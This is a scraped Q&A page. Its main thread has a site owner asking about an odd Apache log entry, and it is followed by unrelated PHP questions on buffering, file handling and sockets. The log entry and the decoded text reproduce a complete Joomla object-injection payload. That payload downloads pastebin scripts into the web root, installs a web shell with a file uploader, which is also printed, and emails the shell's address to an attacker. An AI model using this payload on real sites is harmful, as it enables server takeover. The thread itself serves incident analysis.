I have recently been working on preventing SQL injection in my production Apache/PHP/MySQL web application.
For this, I routinely skim Apache access logs for abnormal requests and occasionally attempt to replicate them if I find them peculiar (anyone have a better recommendation?).
Today, I saw a strange log appear in the access log. I see that an HTTP referrer exists, but I do not have a matching log for the original request. There is also not a matching log in the Apache Error Log that implies it was "denied by server configuration".
Here is the strange log (base_64 decoded):
169.239.180.100 - - [22/Mar/2017:04:01:37 +0000] "GET / HTTP/1.1" 200 13963 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\0\0\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3462:\"$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ;
$fp=fopen("$check","w+");
fwrite($fp,base64_decode('
<?php
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
$text = http_get('http://pastebin.com/raw/hjvDMQX1');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
$text2 = http_get('http://pastebin.com/raw/KPh36MAb');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else
echo "not exits2";
echo "done2 .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
$text4 = http_get('http://pastebin.com/raw/RA3giT4L');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);
$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
$text5 = http_get('http://pastebin.com/raw/KPh36MAb');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);
$toz = "daniel.3.walker#gmail.com";
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
$header = 'from: Saico <daniel.3.walker#gmail.com>' . "\r\n";
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
$sentmail = #mail($toz, $subject, $message, $header);
#unlink(__FILE__);
?>
'));
fclose($fp);
JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\0\0\0connection\";b:1;}\xf0\xfd\xfd\xfd"
I attempted to replicate this GET request via Postman but it is seen as "an invalid XMLHTTPRequest". I'm not sure how one would normally test this?
I am also not sure what this does (or attempts to do). Any information/theories on what this attempts to do (and if it may have succeeded) would be greatly appreciated.
I theorize it is just a simple attempt to inject SQL via the HTTP referrer into some "framework", but I am not an expert. Thanks in advance for any help.
This is what I got when I decoded it
<?php
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ;
$fp=fopen("$check","w+");
fwrite($fp,
function http_get($url){
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/wl.php" ;
$text = http_get('http://pastebin.com/raw/hjvDMQX1');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
echo $check."</br>";
}else
echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
$text2 = http_get('http://pastebin.com/raw/KPh36MAb');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
echo $check2."</br>";
}else
echo "not exits2";
echo "done2 .\n " ;
$check3=$_SERVER['DOCUMENT_ROOT'] . "/s.htm" ;
$text3 = http_get('http://pastebin.com/raw/3Z6ZCHtZ');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);
$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
$text4 = http_get('http://pastebin.com/raw/RA3giT4L');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);
$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
$text5 = http_get('http://pastebin.com/raw/KPh36MAb');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);
Looks like you are using Joomla CMS. There is a file inside library folder lol.php which is being called by the script. Another file /libraries/joomla/wl.php is also malicious file being called. Also the pastebin code is being executed
<?php
// name of the file is: i (it has no extension)
error_reporting(0);
if(isset($_GET["0"]))
{
echo"<font color=#000FFF>[uname]".php_uname()."[/uname]";echo "<br>";print "\n";if(#ini_get("disable_functions")){echo "DisablePHP=".#ini_get("disable_functions");}else{ echo "Disable PHP = NONE";}echo "<br>";print "\n";if(#ini_get("safe_mode")){echo "Safe Mode = ON";}else{ echo "Safe Mode = OFF";} echo "<br>";print "\n";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";if($_POST["v"]==up){if(#copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>berhasil</b>-->".$_FILES["f"]["name"];}else{echo"<b>gagal";}} }
echo 'walex';
echo 'uname:'.php_uname()."\n";
echo getcwd() . "\n";
?>
It is writing the pastebin code to your file /libraries/joomla/jmail.php.
Conclusion:
if you are not using Joomla CMS nothing to worry. if yes then you need to check those affected files. Possible malicious files are uploaded to your server.
Related
I have this code to run command and print realtime output, the problem is that the code after system() command doesn´t get executed. How can I fix this problem?
function disable_ob() {
// Turn off output buffering
ini_set('output_buffering', 'off');
// Turn off PHP output compression
ini_set('zlib.output_compression', false);
// Implicitly flush the buffer(s)
ini_set('implicit_flush', true);
ob_implicit_flush(true);
// Clear, and turn off output buffering
while (ob_get_level() > 0) {
// Get the curent level
$level = ob_get_level();
// End the buffering
ob_end_clean();
// If the current level has not changed, abort
if (ob_get_level() == $level) break;
}
// Disable apache output buffering/compression
if (function_exists('apache_setenv')) {
apache_setenv('no-gzip', '1');
apache_setenv('dont-vary', '1');
}
}
function build() {
$location = "build/" . date("Y-m-d-h-i-sa");
echo "Build started! Your build location is " . $location;
$url = "http://{$_SERVER['HTTP_HOST']}";
$escaped_url = htmlspecialchars( $url, ENT_QUOTES, 'UTF-8' );
echo "\nIf you don´t get redirected after build go to $escaped_url/" . $location . "/smefs-Indigo-Remastered-master/Release/smef.pw.dll\n";
echo "...\n";
mkdir($location, 0777, true);
dircpy("","buildfiles/smefs-Indigo-Remastered-master",$location . "/smefs-Indigo-Remastered-master",true);
copy("buildfiles/buildscript.bat",$location . "/buildscript.bat");
copy("buildfiles/JunkCode.exe",$location . "/JunkCode.exe");
#shell_exec('call ' . $location . "/buildscript.bat");
system('call ' . $location . "/buildscript.bat");
# THIS CODE NOT EXECUTED
echo "\n\n# BUILD COMPLETED #";
echo "If you aren´t redirected please go to this link to download build: " . $location . "/smefs-Indigo-Remastered-master/Release/smef.pw.dll";
header('Location: '. $location . "/smefs-Indigo-Remastered-master/Release/smef.pw.dll");
}
Fixed! The problem was, that I had timeout set to 30 seconds. After adding ini_set('max_execution_time', 3600); everything works!
My code:
function log_message($user = "", $message = "") {
$log_file = LOG_PATH;
// if we can open the file
if($handle = fopen($log_file, "a")) {
$timestamp = strftime("%Y-%m-%d:%H %H:%M:%S", time());
$content = $timestamp . " | [{$user}] | " . $message . "\n";
fwrite($handle, $content);
fclose($handle);
} else {
die("error opening log file: {$log_file}");
}
}
Problem:
The first time I can write to the file no problem but any subsequent writes don't get make it through and falls into the else statement?
Other info:
The site is hosted on godaddy and i have set the privacy permissions on the folder to be writable.
What I tried:
I used the function
file_put_contents($log_file, $content . PHP_EOL, FILE_APPEND | LOCK_EX);
but same result.
I also tried the solution mentioned in this question: How to make sure a file handle has been closed before next operation?
I have some code which seems logical but is not working as expected.
<?php
$ukip_code = "PTXC";
$show_logo = "http://www.ukipme.com/img/confs/" . strtolower($ukip_code) . ".gif";
echo $show_logo . "<br>";
echo "<img src=" . $show_logo . "><br>";
if (!file_exists($show_logo)) { // or file_exists($show_logo) === false
$show_logo = "http://placehold.it/165x100/&text={$ukip_code}";
}
echo $show_logo;
?>
My first echo shows the original file's URL. I then echo an img tag to prove that this file is an actual file.
I then check if the file exists, and if it does not, use a placeholder image. Echoing this variable now should give the original URL again (as it quite clearly does exist), but it gives the placeholder URL. Why?
I've also tried using file_exists($show_logo) === false in my if statement, but I get the same result.
You can use get_headers() method to get the status of the resource:
http://php.net/manual/en/function.get-headers.php
$regex = "(200|201|203|204|205|206)";
$headers = get_headers($show_logo);
preg_match($regex, $headers[0], $match);
if (!$match) {
$show_logo = "http://placehold.it/165x100/&text={$ukip_code}";
}
echo $show_logo;
You should use the server path to the site, not the url of the site. Something like /home/etc/file_name
Your var should be like this
$show_logo = "/{the site server path}/img/confs/" . strtolower($ukip_code) . ".gif";
if you need __FILE__ constant will give you absolute path to current file.
You can try to read in the contents which is behind the url. The drawback however is that this will generate some traffic for big images. But it makes sure that if the file can be downloaded from the given url that it is available. There is curl_setopt which could give you some more options.
<?php
$ukip_code = "PTXC";
$opt = FALSE;
$show_logo = "http://www.ukipme.com/img/confs/" . strtolower($ukip_code) . ".gif";
echo $show_logo . "<br>";
echo "<img src=" . $show_logo . "><br>";
// Create a curl session
$ch = curl_init($show_logo);
// Execution
curl_exec($ch);
// Verification if an error occured
if(!curl_errno($ch))
{
$info = curl_getinfo($ch, $opt);
}
// Fermeture du gestionnaire
curl_close($ch);
if ($opt === FALSE) {
$show_logo = "http://placehold.it/165x100/&text={$ukip_code}";
}
echo $show_logo;
?>
try something like this -
$file = $_SERVER['DOCUMENT_ROOT'].'sitepathtofile';
if (!file_exists($file)) {
set the placeholder
}
I wrote a script to pull a server list from the master server from Enemy Territory; However it silently fails; I had it working; but for some unknown reason it doesn't anymore.
I used this document to "talk" with the server : http://src.gnu-darwin.org/ports/games/masterserver/work/masterserver-0.4.1/docs/PROTOCOLS
This seems valid since it worked before and it still works on game servers; This is my code :
<?php
// set sv_master1 "etmaster.idsoftware.com"
// set sv_master2 "master0.gamespy.com"
// set sv_master3 "wolfmaster.idsoftware.com"
// set sv_master4 "clanservers.net"
// set sv_master5 "master0.etmaster.net" 213.108.29.23
$host = 'etmaster.idsoftware.com';
$port = '27950';
// $status = chr(255) . chr(255) . chr(255) . chr(255) . chr(0x02) . 'getservers' . chr(0x00);
$status = "\xFF\xFF\xFF\xFFgetservers\x00";
$fp = stream_socket_client("udp://" . $host . ":" . $port, $errno, $errstr, 10);
if (!$fp) {
echo "ERROR: " . $errno . $errstr . "<br>\n";
} else {
fwrite($fp, $status);
//stream_set_timeout($fp, 10); // this is for debugging;
$data = fread($fp, 1024);
fclose($fp);
print_r($data);
}
I attempted 60 seconds execution time (its localhost) but it still doesn't work ... any help is appreciated !
When I check the steps (in cli) the longest time is spend on fread(); but $data contains only an empty string;
The error is small; there had to be 5* \xFF tag; and I only used 4.
Can someone please explain why this code:
$str = "StackOverflow";
echo $str . " - ";
$strCompressed = gzcompress($str);
//echo $strCompressed . " - ";
$strUncompressed = gzuncompress($strCompressed);
echo $strUncompressed . " - ";
gives the expected output of: StackOverflow - StackOverflow -
but this code (writing and reading from file):
$str = "StackOverflow";
$strCompressed = gzcompress($str);
$file = "test.cache";
$fp = fopen($file, "w");
fwrite($fp, $strCompressed);
fclose($fp);
$strCompressed = readfile($file);
echo gzuncompress($strCompressed);
does not produce the wated output of StackOverflow?
Also, I'm wondering, if I uncoment the commented line of code in the first example (//echo $strCompressed . " - ";) the script will output something like this: StackOverflow - xś.ILÎö/K-JËÉ/, so as you can see without the second StackOverflow - as with that line comented out. Any insight is appreciated.
Try this:
$strCompressed = file_get_contents($file);
echo gzuncompress($strCompressed);
readfile doesn't return the file's contents but outputs them